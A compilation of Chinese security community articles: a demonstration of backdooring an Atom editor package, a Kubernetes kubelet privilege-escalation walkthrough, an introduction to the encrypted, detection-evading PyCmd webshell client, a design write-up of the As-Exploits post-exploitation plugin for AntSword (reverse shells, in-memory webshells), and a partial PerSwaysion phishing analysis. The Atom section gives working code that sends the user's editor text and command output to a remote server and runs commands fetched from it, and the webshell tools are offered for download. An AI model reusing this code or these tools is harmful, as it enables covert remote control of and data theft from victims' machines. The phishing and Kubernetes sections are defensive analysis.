**这似乎是一个合理的请求**
****
步骤3
可以看到，Atom包是通过node.js技术创建的，初始测试我们可以看看有哪些模块可以访问。从请求包入手似乎是一个很好的开始，因为它允许我们将数据从用户的机器中取出并进入我们自己手中。
1.经过一番技术研究发现，可以很容易导入一个第三库到我们的包中：
npm install --save [email protected]
apm install
2.把这个第三库导入我们的代码中：
request = require 'request'
3.更新我们的代码，用户机器会将一些数据发布到我们的远程服务器
toggle: ->
request 'http://my-remote-endpoint.com/run?data=test_data', (error, response, body) =>
console.log 'Data sent!'
有了这个，一旦toggle函数被调用，那么我们的包就会自动发送信息给我们。现在我们有一种获取信息的方法，我们需要看看我们能够访问哪些信息。
**植入后门代码**
****
我们更改我们的toggle函数尝试获取当前用户机器上的的数据，代码如下所示：
toggle: ->
{spawn} = require 'child_process'
test = spawn 'whoami'
test.stdout.on 'data', (data) ->
request 'http://my-remote-endpoint.com/run?data='+data.toString().trim(), (error, response, body) =>
console.log 'Output sent!'
上面的这个代码片段在实际的运行中是有效的，这意味着我们可以在用户的机器上运行命令，然后根据需要从返回的数据中提取我们需要的数据。其实现在，我们发布的Atom包已经可以执行一些恶意的操作了，但是我们有必要做进一步的研究。
**更进一步**
****
之前，我们的命令是硬编码到我们的代码中的，现在我们将修改代码使得软件能够自动发送需要执行的命令！
之前我们创建的Atom包中，只有toggle函数被调用时才会触发执行命令，现在我们将修改代码，完成一旦一个按键被按下就会触发执行命令的函数。
首先我们需要去hook当前编辑器的onChange事件：
module.exports = TouchTypeTeacher =
touchTypeTeacherView: null
modalPanel: null
subscriptions: null
editor: null
activate: (state) ->
@touchTypeTeacherView = new TouchTypeTeacherView(state.touchTypeTeacherViewState)
@modalPanel = atom.workspace.addModalPanel(item: @touchTypeTeacherView.getElement(), visible: false)
@editor = atom.workspace.getActiveTextEditor()
@subscriptions = new CompositeDisposable
@subscriptions.add atom.commands.add 'atom-workspace', 'touch-type-teacher:toggle': => @toggle()
@subscriptions.add @editor.onDidChange (change) => @myChange()
之后，在Atom包中创建 **myChange** 函数，该函数将执行一些恶意的操作：
myChange: ->
request 'http://my-remote-endpoint.com/test?data=' [email protected](), (error, response, body) =>
{spawn} = require 'child_process'
test = spawn body
console.log 'External code to run:n' + body
test.stdout.on 'data', (data) ->
console.log 'sending output'
request 'http://my-remote-endpoint.com/run?data=' + data.toString().trim(), (error, response, body) =>
console.log 'output sent!'
这段代码片段实现了我们想要完成的功能。 编辑器中每发生一个变化，我们都会将编辑器中的文本发送到我们的服务器，然后服务器会返回一个新的命令到用户的机器上执行。
我们运行命令并将执行结果发送到我们的服务器。
**现实在存在的后门插件**
****
虽然我们只是想演示这种攻击是如何发生的，但是现实中却出现了一个[有趣的故事](https://theoutline.com/post/1953/how-a-vc-funded-company-is-undermining-the-open-source-community)。Kite公司，一家生产基于云编码工具的软件公司，该公司招聘了Minimap（一个Atom插件，超过380万次下载）的开发人员，随后Minimap插件推出了一个更新，此更新除了其他功能之外，将Kite公司的广告插入到Minimap插件中。同样的，我们发现Kite公司在几个月前就默默地收购了autocomplete-python插件（另一个流行的Atom插件），以用来推广Kite公司的产品。
这个事情一经发现，Kite公司就被迫道歉并采取了相应的措施，以确保他们不会再这样做。但类似于Kite公司收购Atom包这种行为，在过去一周内有报道说，两个Chrome扩展已被网络攻击者利用，并向其中注入了广告软件。
Chrome和Copyfish的Web开发人员都将可能遭受网络钓鱼的攻击。有关这些事件的详细信息，请参阅这里（Web
Developer）和这里（Copyfish），其主要原因是用户在不知情的情况了使用了有后门的Chrome的扩展程序。
**总结**
****
我们创建了一个插件，并发布了它，但这个插件并不具有任何的危害。此插件是在没有沙盒，没有任何权限限制的环境中运行的，而且也没有任何的防护去阻止我们窃取用户机器上的数据信息。即使安全研究人员会对上传的软件代码进行了某种分析，但攻击者也可以在软件运行时远程执行恶意代码。自动更新意味着即使我们的插件今天很好，但或许这款插件明天可能就会被植入了后门程序。
因此，虽然迫使开发人员仅使用某些可以控制的开发工具或者插件似乎看起来很不人性，但如果不受控制，我们将越来越难以确保这些工具的安全性。 | 社区文章 |
# 浅谈云上攻防——Kubelet访问控制机制与提权方法研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
本文翻译整理自rhino安全实验室：近些年针对kubernetes的攻击呈现愈演愈烈之势，一旦攻击者在kubernetes集群中站稳脚跟就会尝试渗透集群涉及的所有容器，尤其是针对访问控制和隔离做的不够好的集群受到的损害也会越大。例如由unit
42研究人员检测到的TeamTNT组织的恶意软件Siloscape就是利用了泄露的AWS凭证或错误配置从而获得了kubelet初始访问权限后批量部署挖矿木马或窃取关键信息如用户名和密码，组织机密和内部文件，甚至控制集群中托管的整个数据库从而发起勒索攻击。根据微步在线的统计上一次遭受其攻击的IP地址90%以上属于中国，因此需要安全人员及时关注并提前规避风险。Siloscape具体攻击流程如图1所示。
图 1-Siloscape攻击流程
Kubernetes集群中所有的资源的访问和变更都是通过kubernetes API Server的REST
API实现的，所以集群安全的关键点就在于如何识别并认证客户端身份并且对访问权限的鉴定，同时K8S还通过准入控制的机制实现审计作用确保最后一道安全底线。除此之外K8S还配有一系列的安全机制（如Secret和Service
Account等）共同实现集群访问控制的安全，具体请求如图2所示：
图 2-Kubernetes API请求其中用户所控制的kubectl即每个Node节点都会启用的进程，可以把kubelet理解成【Server-Agent】架构中的agent，用来处理Master节点下发到本节点的任务，管理Pod和其中的容器，比如创建容器、Pod挂载数据卷、下载secret、获取容器和节点状态等工作。Kubelet会在API
Server上注册节点信息，定期向Master汇报节点资源使用情况。如果没有做好相关的权限管控或其遭受了任何的攻击都可能导致对k8s集群更广泛的危害。如以下图3操作。
图 3-Kubectl操作
## K8S认证鉴权
### 认证阶段（Authentication）
认证阶段即判断用户是否为能够访问集群的合法用户，API Server目前提供了三种策略多种用户身份认证方式，他们分别如下表1：
序号 | 认证策略 | 认证方式
---|---|---
1 | 匿名认证 | Anonymous requests
2 | 白名单认证 | BasicAuth认证
3 | Token认证 | Webhooks、Service Account Tokens、OpenID Connect Tokens等
4 | X509证书认证 | clientCA认证，TLS bootstrapping等
表 1-认证
其中X509是kubernetes组件间默认使用的认证方式，同时也是kubectl客户端对应的kube-config中经常使用到的访问凭证，是一种比较安全的认证方式。
### 鉴权阶段（Authorization）
当API Server内部通过用户认证后，就会执行用户鉴权流程，即通过鉴权策略决定一个API调用是否合法，API Server目前支持以下鉴权策略
序号 | 鉴权策略 | 概述
---|---|---
1 | Always | 分为AlwaysDeny和AlwaysAllow，当集群不需要鉴权时选择AlwaysAllow
2 | ABAC | 基于属性的访问控制
3 | RBAC | 基于角色的访问控制
4 | Node | 一种对kubelet进行授权的特殊模式
5 | Webhook | 通过调用外部REST服务对用户鉴权
表 2-鉴权
其中Always策略要避免用于生产环境中，ABAC虽然功能强大但是难以理解且配置复杂逐渐被RBAC替代，如果RBAC无法满足某些特定需求，可以自行编写鉴权逻辑并通过Webhook方式注册为kubernetes的授权服务，以实现更加复杂的授权规则。而Node鉴权策略主要是用于对kubelet发出的请求进行访问控制，限制每个Node只访问它自身运行的Pod及相关Service、Endpoints等信息。
### 准入控制（Admission Control）
突破了如上认证和鉴权关卡之后，客户端的调用请求还需要通过准入控制的层层考验，才能获得成功的响应，kubernetes官方标准的选项有30多个，还允许用户自定义扩展。大体分为三类验证型、修改型、混合型，顾名思义验证型主要用于验证k8s的资源定义是否符合规则，修改型用于修改k8s的资源定义，如添加label，一般运行在验证型之前，混合型及两者的结合。
AC以插件的形式运行在API Server进程中，会在鉴权阶段之后，对象被持久化etcd之前，拦截API
Server的请求，对请求的资源对象执行自定义（校验、修改、拒绝等）操作。
## Kubelet认证鉴权
### 认证
Kubelet目前共有三种认证方式:
1.允许anonymous，这时可不配置客户端证书
authentication:
anonymous:
enabled: true
2.webhook，这时可不配置客户端证书
authentication:
webhook:
enabled: true
3.TLS认证，也是目前默认的认证方式，对kubelet 的 HTTPS 端点启用 X509 客户端证书认证。
authentication:
anonymous:
enabled: false
webhook:
enabled: false
x509:
clientCAFile: xxxx
然而在实际环境当你想要通过kubectl命令行访问kubelet时，无法传递bearer
tokens，所以无法使用webhook认证，这时只能使用x509认证。
### 鉴权
kubelet可配置两种鉴权方式分别为AlwaysAllow和Webhook，默认的及安全模式AlwaysAllow，允许所有请求。而Webhook的鉴权过程时委托给API
Server的，使用API Server一样的默认鉴权模式即RBAC。
通常在实际环境中需要我们通过TBAC为用户配置相关权限，包括配置用户组以及其相对应的权限。并最终将用户和角色绑定完成权限的配置。
### TLS bootstrapping
TLS在实际实现的时候成本较高，尤其集群中众多的kubelet都需要与kube-API
Server通信，如果由管理员管理证书及权限，很有可能会因为证书过期等问题出现混乱。这时候Kubelet TLS
Bootstrapping就应运而生了。其主要实现两个功能第一，实现kubelet与kube-API
Server之间的自动认证通信；第二，限制相关访问API Server的权限。
K8s目前默认通过TLS bootstrapping这套机制为每个kubelet配置签名证书确保与API
Server的交互安全。其核心思想是由kubelet自已生成及向API
Server提交自已的证书签名请求文件（CSR），k8s-master对CSR签发后，kubelet再向API
Server获取自已的签名证书，然后再正常访问API Server。具体如图所示：
图 4-Kubelet TLS bootstrapping工作流程
## Kubelet提权案例
### 攻击路径
为了演示kubelet提权攻击，下面会展示一个简单的攻击场景，从获取TLS引导凭据开始，最终获得集群中集群管理员的访问权限。
### 攻击步骤
由于Kubelet需要依据凭据与API服务器通信，当攻击者已经控制了集群中部分运行的容器后可以依托这些凭据访问API服务器，并通过提权等手段来造成更大的影响。
1、首先攻击者需要获取到Node权限并找到kubelet TLS引导凭据，见下图：
2、尝试使用TLS凭证检索有关kubernetes节点的信息，由于这些凭据仅有创建和检索证书签名请求的权限即引导凭据用来向控制端提交证书签名请求（CSR）所以通常会看到找不到相关资源。
其中kubectl auth can-i子命令有助于确定当前凭证是否可以执行相关命令。
3、由于权限不足，可以使用get csr尝试成为集群中的假工作节点，这样将允许我们执行更多的命令如列出节点、服务和pod等，但是仍然无法获取更高级别的数据。
我们使用cfssl为假节点生成CSR，同时将其提交至API Server供其自动批准该证书，通常情况下kube-controller-manager设置为自动批准与前缀一致的签名请求，并发出客户证书，随后该节点的kubelet即可用于常用功能。
4、之后我们将批准通过的证书保存，此时即可查看节点信息等相关内容。
5、为了获取更高的权限，我们尝试使用另一个工作节点生成新的CSR，并要求API Server自动通过该证书。
6、我们将新批准的证书保存并以此证书检查相关的pod信息发现有了密钥信息，但是当我们尝试去读取的时候仍然显示权限不足。
7、我们再次尝试其他pod看是否拥有更高级别的权限，重复之前的证书制作并发送至API
Server请求批准，这次权限明显高了许多，我们成功获取到了ca.crt以及token。
8、接下来我们尝试使用该token，设置好环境变量并获取默认命名空间中的所有资源。
9、最后我们检查其角色的绑定，发现该服务账户已于“cluster-admin”角色绑定。
即其为最高权限的账户，至此我们可以执行各种不同的攻击。如从工作节点的实例窃取服务账户令牌访问云资源、列出配置、创建特权容器、后门容器等。
Kubernetes具有广泛的攻击面，其中kubelet尤为重要，本案例通过泄露的凭据开始，通过列出相关节点、实例生成和提交CSR充当工作节点，并最终获得集群管理员访问权限从而窃取TLS
Bootstrap凭据。
## 缓解措施
在实际生产环境中，一定要保护好kubelet凭证的数据避免类似的提权事件发生，同时还可以搭配以下几点方式来加固k8s的安全。
1、保护好元数据，元数据由于其敏感性务必在服务后台加强对元数据读取的管控，避免攻击者通过元数据读取到相关凭据信息，哪怕是低权限的凭据。
2、通过更安全的网络策略避免类似提权事件发生，默认情况下拒绝所有出站通信，然后根据需要将出站流量列入白名单。在pod上应用该网络策略，因为需要访问API服务器和元数据的是node而不是pod。
3、启用类似Istio这样的服务网格并配置egress gateway，这将阻止部署在服务网格中的任何容器与任何未经授权的主机进行通信
4、限制对主节点的网络访问，如上案例基本都发生在集群，所以传统的vpn也无法阻止相关危害，用户可以直接限制对主服务器的访问来避免k8s的许多攻击。
### 参考文献
1.https://www.cnblogs.com/huanglingfa/p/13773234.html
2.https://cloud.tencent.com/developer/article/1553947
3.https://kubernetes.io/zh/docs/reference/access-authn-authz/authentication/
4.https://mritd.com/2018/01/07/kubernetes-tls-bootstrapping-note/
翻译整理自：rhino安全实验室 | 社区文章 |
之前写了一个基于python的一句话木马客户端程序，这个程序的作用大致就是为了绕过防护设备，使敏感数据能在网络里自由穿梭。由于编程能力有限，当时以python程序作为客户端，php代码作为服务端，勉强能用，但是缺乏jsp的服务端，使之功能很局限。幸好有大神[caomei](https://github.com/8caomei)相助，帮助实现了jsp端的代码，故将两者相结合，方便使用。
#### PyCmd使用
我这里准备了2个靶机，分别装有php与jsp的运行环境，用来模拟真实的网站服务器。
为了方便，我已经把服务端木马程序放到了服务器网站目录下：
* php网站木马地址：<http://10.0.3.13/test/p.php>
* jsp网站木马地址：<http://192.168.10.149:8080/Test/1.jsp>
此时，运行PyCmd.py程序：
python PyCmd.py -u http://10.0.3.13/test/p.php -p test [--proxy]
或者
python PyCmd.py -u http://192.168.10.149:8080/Test/1.jsp -p test [--proxy]
程序会自动判断输入的网站类型
输入参数：
* -h 查看帮助信息
* -u 网站木马地址
* -p 木马shell密码
* \--proxy 开启本地代理（方便调试）
注：当开启本地调试，需运行Fiddler程序，或者其他抓包软件。
#### PyCmd数据加密
PyCmd程序的长处在于它对往来的数据进行了加密，可以绕过防火墙对数据内容的校验。
当执行cmd命令时，通过Fiddler抓包查看数据：
#### PyCmd木马隐身
用D盾扫描上传的木马服务端文件，显示为正常文件，成功躲过查杀
#### 工具下载
PyCmd [下载地址](https://github.com/tengzhangchao/PyCmd)
原文地址：[pycmd
加密隐形木马](https://thief.one/2016/09/18/PyCmd-%E5%8A%A0%E5%AF%86%E9%9A%90%E5%BD%A2%E6%9C%A8%E9%A9%AC/) | 社区文章 |
## 前言
冰蝎跟哥斯拉都有了各自的一些后渗透模块，然而蚁剑这一块基本还是空缺，所以就萌生出来做一个蚁剑的后渗透框架插件的想法。
目前插件的定位是蚁剑的一个微内核拓展模块，可以迅速做到payload的工程化，不用过多时间浪费在插件的结构上。目前的As-Exlpoits各部分之间基本做到了解耦，新增一个payload只需要两步：1.填写payload，2.
画一个表单。其余发包，回显处理等事情框架会自动帮你实现。想要自定义的话只需要继承父类然后重写对应方法即可。
因为http是无状态的，webshell能做的事情其实很有限，所以插件功能的重点主要放在msf，nmap等其他工具的联动上面，把专业的事情交给专业的工具去做。
## 总体设计
一个模块在初始化之后的流程大概是这样
当exploit事件发生时，会调用getArgs跟genPayload函数来组合成最后的payload，默认将回显数据发送到编辑框里。
## 模块介绍
简单的塞一些模块，没错我就是缝合怪。
### 基本信息
获取当前服务端信息。
### 反弹Shell
跟MSF联动，与冰蝎和哥斯拉相比新增了bind类型的payload。
目前支持以下类型：
* java/meterpreter/reverse_tcp
* java/shell/reverse_tcp
* java/meterpreter/bind_tcp
* java/shell/bind_tcp
* php/meterpreter/reverse_tcp
* php/shell/reverse_tcp
* php/meterpreter/bind_tcp
* php/shell/bind_tcp
### 内存马
一键打入内存Webshell。由于时间仓促，目前仅支持Servlet型内存马。核心payload修改自哥斯拉，继承了nolog的功能，即内存马不会在tomcat中留下日志。
可打入的内存马种类：
* AntSword
* Behinder
* Godzilla-Base64
* reGerog
其中组件名称为注册的Servlet的名称，可以起一个具有迷惑性的名字来隐藏自己。
### 内存马管理
* 获取当前Servlet
* 卸载指定Servlet
### 杀软识别
> 数据来源是key师傅的项目：[avList](https://github.com/gh0stkey/avList)
通过`tasklist /svc`获取当前进程列表，识别出其中的杀软。
目前支持手动跟自动两种获取方式：
* 自动获取
自动执行系统命令`tasklist /svc`并分析回显数据。
* 手动获取
手动输入`tasklist /svc`的结果。
## 如何用node修改java字节码
在本插件中所有额外参数都采用了直接修改字节码，而没有采用额外参数的方式来传参。蚁剑没有java环境，那么是如何做到用node修改字节码的呢？详细的例子可以看我博客这篇文章：[无java环境修改字节码](https://yzddmr6.tk/posts/node-edit-java-class/)
其实我们的需求无非只是修改变量池中的一个字符串，并不需要asm框架那么强大的功能。java字节码常量池中共有14种类型，如下表格所示：
> 注意上面的表格的单位是错的，应该是byte不是bit
我们关注的应该是CONSTANT_utf8_info跟CONSTANT_String_info。如果变量是第一次被定义的时候是用CONSTANT_utf8_info标志，第二次使用的时候就变成了CONSTANT_String_info，即只需要tag跟面向字符串的索引。
也就是说关键的结构就是这个
其实跟PHP的序列化很相似，首先来个标志位表示变量的类型，然后是变量的长度，最后是变量的内容。
既然知道了其结构，那么修改的办法也就呼之欲出。除了修改变量的hex，只需要再把前面的变量长度给改一下就可以了。
把yan表哥的代码抽出来修改一下，yan表哥yyds。
function replaceClassStringVar(b64code, oldvar, newvar) {
let code = Buffer.from(b64code, 'base64');//解码
let hexcode = code.toString('hex');//转为16进制
let hexoldvar = Buffer.from(oldvar).toString('hex');//转为16进制
let oldpos = hexcode.indexOf(hexoldvar);
if (oldpos > -1) {//判断字节码中是否包含目标字符串
let newlength = decimalToHex(newvar.length, 4);//计算新字符串长度
let retcode = `${hexcode.slice(0, oldpos - 4)}${newlength}${Buffer.from(newvar).toString('hex')}${hexcode.slice(oldpos + hexoldvar.length)}`;//把原来字节码的前后部分截出来，中间拼上新的长度跟内容
return Buffer.from(retcode, 'hex').toString('base64');//base64编码
}
return b64code;
}
function decimalToHex(d, padding) {
var hex = Number(d).toString(16);
padding = typeof (padding) === "undefined" || padding === null ? padding = 2 : padding;
while (hex.length < padding) {
hex = "0" + hex;//小于padding长度就填充0
}
return hex;
}
content=`xxxxxxxxxxxxx`//要替换的字节码
content=replaceClassStringVar(content,'targetIP','192.168.88.129')
content=replaceClassStringVar(content,'targetPORT','9999')
console.log(content)
## 编写模块
### 父类Base
Base是所有模块的基类，放了一些默认的方法。
顺着代码来说吧。
"use strict";
const LANG = require("../language"); // 插件语言库
const LANG_T = antSword["language"]["toastr"]; // 通用通知提示
const path = require("path");
class Base {
constructor(top) {//获取顶层对象
this.top = top;
this.opt = this.top.opt;
this.shelltype = this.top.opt.type;
this.win = this.top.win;
this.payloadtype="default";
this.precheck();
}
precheck() { //检查模块是否适用于当前shell类型
return true;
}
//获取payload模板
getTemplate(shelltype, payloadtype) { //从当前目录下payload.js中获取payload
let payload = require(path.join(__dirname, this.name, "payload"));
return payload[shelltype][payloadtype];
}
//拼接参数
genPayload(args) { //从模板中拼接参数
let payload = this.getTemplate(this.shelltype, this.payloadtype);
if (this.shelltype == "jsp") { //如果是jsp类型就用字节码的方式修改
for (let i in args) {
payload = this.replaceClassStringVar(payload, i, args[i]);
}
} else { //否则直接进行字符串替换
for (let i in args) {
payload = payload.replace(new RegExp(i, "g"), args[i]);
}
}
return payload;
}
//获取表单参数
getArgs() { //所有表单参数要形成一个字典
return {};
}
//执行
exploit() { // exploit！
console.log("exploit!");
self.core = this.top.core;
let args = this.getArgs(); //获取参数
let payload = this.genPayload(args); //拼接，生成payload
self.core
.request({
_: payload, //发送payload
})
.then((_ret) => {
let res = antSword.unxss(_ret["text"], false); //过滤xss
if (res === "") {
res = "output is empty.";
}
this.editor.session.setValue(res); //回显内容到输出结果
this.editor.setReadOnly(true);
toastr.success(LANG["success"], LANG_T["success"]);
})
.catch((e) => {
console.log(e);
toastr.error(JSON.stringify(e), "Error");
});
}
setName(name) {
this.name = name; //每个模块实例化之后要有个唯一的名字
}
createLayout(tabbar) { //创建tab，总布局
tabbar.addTab(this.name, LANG["core"][this.name]["title"]);
let tab = tabbar.cells(this.name);
this.tab = tab;
if (this.name == "base_info") { //把基本信息设为首页
tab.setActive();
}
let layout = tab.attachLayout("2E");
this.layout = layout;
let cellA = layout.cells("a");
this.cellA=cellA;
cellA.hideHeader();
let cellB = layout.cells("b");
cellB.setText(LANG["result_title"]);
this.cellB=cellB;
this.createEditor(cellB);
this.createToolbar(cellA);
this.createForm(cellA);
}
createEditor(cell) { //输出结果默认是编辑器的格式，方便复制
this.editor = null;
// 初始化编辑器
this.editor = ace.edit(cell.cell.lastChild);
this.editor.$blockScrolling = Infinity;
this.editor.setTheme("ace/theme/tomorrow");
// this.editor.session.setMode(`ace/mode/html`);
this.editor.session.setUseWrapMode(true);
this.editor.session.setWrapLimitRange(null, null);
this.editor.setOptions({
fontSize: "14px",
enableBasicAutocompletion: true,
enableSnippets: true,
enableLiveAutocompletion: true,
});
// 编辑器快捷键
this.editor.commands.addCommand({
name: "import",
bindKey: {
win: "Ctrl-S",
mac: "Command-S",
},
exec: () => {
// this.toolbar.callEvent("onClick", ["import"]);
},
});
const inter = setInterval(this.editor.resize.bind(this.editor), 200);
this.win.win.attachEvent("onClose", () => {
clearInterval(inter);
return true;
});
}
createForm(cell) {
//edit your code
}
createToolbar(cell) { // 初始化exploit按钮，监听onClick事件
let self = this;
let toolbar = cell.attachToolbar();
toolbar.attachEvent("onClick", function (id) {
try {
self.exploit();
} catch (e) {
toastr.error(JSON.stringify(e), LANG_T['error']);
}
});
toolbar.loadStruct(
'<toolbar><item type="button" id="exploit" text="exploit" title="" /></toolbar>',
function () {}
);
if(this.precheck()==false){ //如果precheck不通过，按钮将变成灰色。
toolbar.disableItem('exploit');
}
this.toolbar=toolbar;
}
replaceClassStringVar(b64code, oldvar, newvar) { //字节码修改函数
let code = Buffer.from(b64code, "base64");
let hexcode = code.toString("hex");
let hexoldvar = Buffer.from(oldvar).toString("hex");
let oldpos = hexcode.indexOf(hexoldvar);
if (oldpos > -1) {
let newlength = this.decimalToHex(newvar.length, 4);
let retcode = `${hexcode.slice(0, oldpos - 4)}${newlength}${Buffer.from(
newvar
).toString("hex")}${hexcode.slice(oldpos + hexoldvar.length)}`;
return Buffer.from(retcode, "hex").toString("base64");
}
// console.log('nonono')
return b64code;
}
decimalToHex(d, padding) {
let hex = Number(d).toString(16);
padding =
typeof padding === "undefined" || padding === null
? (padding = 2)
: padding;
while (hex.length < padding) {
hex = "0" + hex;
}
return hex;
}
safeHTML(cell, html = "", sandbox = "") { //当渲染html时一定要用此函数处理，否则可能会产生rce
let _html = Buffer.from(html).toString("base64");
// https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox
let _iframe = `<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<iframe
sandbox="${sandbox}"
src="data:text/html;base64,${_html}"
style="width:100%;height:100%;border:0;padding:0;margin:0;">
</iframe>
`;
cell.attachHTMLString(_iframe);
return this;
}
}
module.exports = Base;
### 简单的例子
举一个简单的例子，执行系统命令并获取回显。
首先给插件起个炫酷的名字叫test，加入到根目录index.js的Modules里面。
然后在language\zh.js中增加对应的标签名字：测试。
接着新增一个test目录，这里的目录名称要与模块的名称一致，里面放两个文件：index.js跟payload.js。
在index.js中主要写逻辑处理部分，payload.js里面只放payload。
#### payload.js
默认的payload叫default。payload中把参数部分用一个特殊的名字标记出来，叫做 test_command 。
JSP类型同理，放base64格式的字节码。
module.exports={
php:{
default:`system("test_command");`
},
jsp:{
default:``
}
};
#### index.js
因为例子中需要额外的参数，所以要重写父类的createForm函数跟getArgs函数，把表单中获取到的test_command放入args里面。
"use strict";
const Base = require("../base");
class Test extends Base {
createForm(cell) {
var str = [
{
type: "input",
name: "test_command",
label: "执行命令",
labelWidth: 150,
labelAlign:"center",
inputWidth: 200,
},
];
var form = cell.attachForm(str);
this.form = form;
}
getArgs() {
let args = {};
this.payloadtype = "default";
args["test_command"] = this.form.getItemValue("test_command");
return args;
}
}
module.exports = Test;
####
运行结果
重启蚁剑后再打开插件就可以使用我们的新模块了，是不是很简单？
## 最后
目前payload主要来自冰蝎跟哥斯拉，向前辈们致敬！
框架的优势就在于看到其他同类工具的比较好的功能可以迅速白嫖。这个功能不错，下一秒就是我的了.jpg
项目地址：<https://github.com/yzddmr6/As-Exploits> | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://blog.scarletshark.com/perswaysion-threat-actor-updates-their-techniques-and-infrastructure-e9465157a653>**
PerSwaysion 网络钓鱼又回来了。PerSwaysion 背后的黑客正在使用更直接的钓鱼方法和更新的技术，旨在窃取微软365的凭证。
## PerSwaysion 简述
2020年4月，安全公司 Group-IB 威胁情报小组发表了一份关于“ PerSwaysion
网络钓鱼攻击”的调查报告。这次攻击针对的是高层管理人员，攻击时间至少可以追溯到2019年8月。Group-IB
认为这些攻击很可能是由一个越南的黑客实施的。你可以在这里读到他们的[报告](https://blog.group-ib.com/perswaysion)
一年多以后，也就是2021年11月，SeclarityIO 发布了一份针对 PerSwaysion
的钓鱼工具包代码及其基础设施的[深入分析](https://www.seclarity.io/resources/blog/the-art-of-perswaysion-phishing-kit/)。
本文将重点介绍在我们观察到的最新的网络钓鱼中所使用的技术和当前基础设施的变化。
## 攻击链
在过去，PerSwaysion
网络钓鱼页面托管在文件共享网站或有试用版或免费版的托管网站。我们假设，网络钓鱼攻击能在网络钓鱼页面被撤下或试用期结束之前完成。
在他们最近的攻击中，这个攻击者已经从使用托管的钓鱼网站转变为一个附带钓鱼邮件的 HTML
文件。附加的文件会加载一系列的支持文件，以显示微软365的登录页面的副本。请参阅下面的攻击链图表。
## 钓鱼电子邮件ー诱惑
PerSwaysion 网络钓鱼邮件的截图
最新的电子邮件是通过亚马逊的简单电子邮件服务发送的，每封电子邮件都同时通过了 SDF 和 DKIM 的保护。
域 **gemlacksresults[.]net** 和 **rotarim50[.]com** 被用作发送域。这两个发件人域名都通过 sav.com
网站注册，并在注册后不到30天内被使用。
之前的钓鱼邮件是使用被盗的谷歌邮件账户发送。
## HTML 附件
钓鱼邮件的有效载荷是一个 HTML 附件。这个文件的内容是混淆的使用多层的 JavaScript
函数。我们推测，这是为了规避一些电子邮件过滤系统，以及防止有效载荷的因果分析。尽管如此，微软的 Exchange 在线高级威胁保护也检测到这些附件是恶意的。
混淆处理的第一层是 Base 64编码的文本，它使用内置的浏览器函数进行解码。然后将解码后的文本写入文档对象模型(DOM)。这是一个附有HTML
附件钓鱼电子邮件里常见的技术。通常可以看到，Base 64解码嵌套在文档 write 函数中，如下所示:
**document.write(atob(“[Base 64 Text]”));**
下一层的模糊处理使用了修改过的 JavaScript 缩小器和 packer 函数，该函数最初由[Dean
Edwards](http://dean.edwards.name/packer/)开发。这个修改版本涵盖了额外的数组查找和替换，查找数组包含字符移位密码值。
尽管有了模糊处理层，附加的 HTML 页面却只是一个简单的包装器，它添加了反调试的 JavaScript 语句，并且只有一个指向外部 JavaScript
文件的链接。这个外部 JavaScript 文件加载额外的资源来向受害者显示钓鱼页面(为了便于引用，我们将这个文件称为 JavaScript 加载器文件)。
JavaScript 加载器文件托管在hXXps://valdia.quatiappcn[.]pw/[hex digits].js。以前的攻击活动使用
**hXXps://kifot.wancdnapp[.]page/[hex digits].js** 托管这个文件。在我们发现的所有活动中，都有多个
JavaScript 加载器文件托管在这里，每个文件都有一个由十六进制数字组成的唯一文件名。
加载程序文件将反过来加载钓鱼工具包中使用的其他库文件。每个唯一的加载程序文件加载相同的库文件，除非一个文件对于每个加载程序文件名是唯一的。这个唯一的文件有一个文件名，它有32个十六进制字符和一个.Js
扩展名。它包含一个硬编码的字符串，看起来是 Base 64编码的文本，但不能解码为任何可识别的内容。这可能表明内容是加密的，或者它是 PerSwaysion
服务器上用来区分攻击活动和用户的 API 密钥。
JavaScript加载器文件加载以下这些钓鱼工具资源文件:
>
> hXXps://rikapcndmmooz.firebaseapp.com/njtyzxntbfsdvxxz/themes/css/7f01272697919812996411ac56c3d204nbr1639582853.css
> hXXps://rikapcndmmooz.firebaseapp.com/njtyzxntbfsdvxxz/themes/css/069a654bc4a1e6e66a713098353bb534nbr1639582853.css
> hXXps://rikapcndmmooz.firebaseapp.com/njtyzxntbfsdvxxz/themes/7f01272697919812996411ac56c3d204nbr1639582853.js
> hXXps://rikapcndmmooz.firebaseapp.com/njtyzxntbfsdvxxz/themes/ab50d0179cfb0f7e29d68bebaaa0e399.js
> hXXps://rikapcndmmooz.firebaseapp.com/njtyzxntbfsdvxxz/themes/js/a3107e4d4ae0ea783cd1177c52f1e6301639582846.js
以及这些开源的 JavaScript 库:
> hXXps://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
> hXXps://cdnjs.cloudflare.com/ajax/libs/mobile-detect/1.3.6/mobile-> detect.min.js hXXps://cdnjs.cloudflare.com/ajax/libs/vuex/2.3.1/vuex.min.js
> hXXps://cdnjs.cloudflare.com/ajax/libs/vee-validate/2.0.0-rc.3/vee-> validate.min.js
> hXXps://cdnjs.cloudflare.com/ajax/libs/vue-i18n/7.0.3/vue-i18n.min.js
> hXXps://unpkg.com/[email protected]/dist/axios.min.js
> hXXps://unpkg.com/[email protected]/lodash.min.js
> hXXps://unpkg.com/[email protected]/dist/vue.min.js hXXps://unpkg.com/vue-> [email protected]/dist/vue-router.min.js
以前的攻击活动在另一个 Google Firebase 域名上托管这些文件:
>
> hXXps://rikcndapplala.web.app/zxhjkmnjdbfxzvdzx/themes/css/5ec43dada25c716f7880b0b8e6ff5e61nbr1633368005.css
> hXXps://rikcndapplala.web.app/zxhjkmnjdbfxzvdzx/themes/css/26ee67cd59cf7ee7f6ca4f6e3a4695f9nbr1633368005.css
> hXXps://rikcndapplala.web.app/zxhjkmnjdbfxzvdzx/themes/5ec43dada25c716f7880b0b8e6ff5e61nbr1633368005.js
> hXXps://rikcndapplala.web.app/zxhjkmnjdbfxzvdzx/themes/a144f6f5e581d7026db3c04ffe1ab2da.js
托管 JavaScript 文件加载器文件的域似乎使用时间都不长，在调查的几个月中攻击者使用了不同的域。每个发现的域都使用 Cloudflare
来屏蔽实际的服务器 IP 地址。
然而，我们观察到的执行验证凭据的 IP 地址提供了与 Cloudflare 保护的域相同的文件。这是一个强有力的线索，表明托管 JavaScript
加载文件的服务器与执行凭证验证的服务器是同一个。此外，相同的 JavaScript
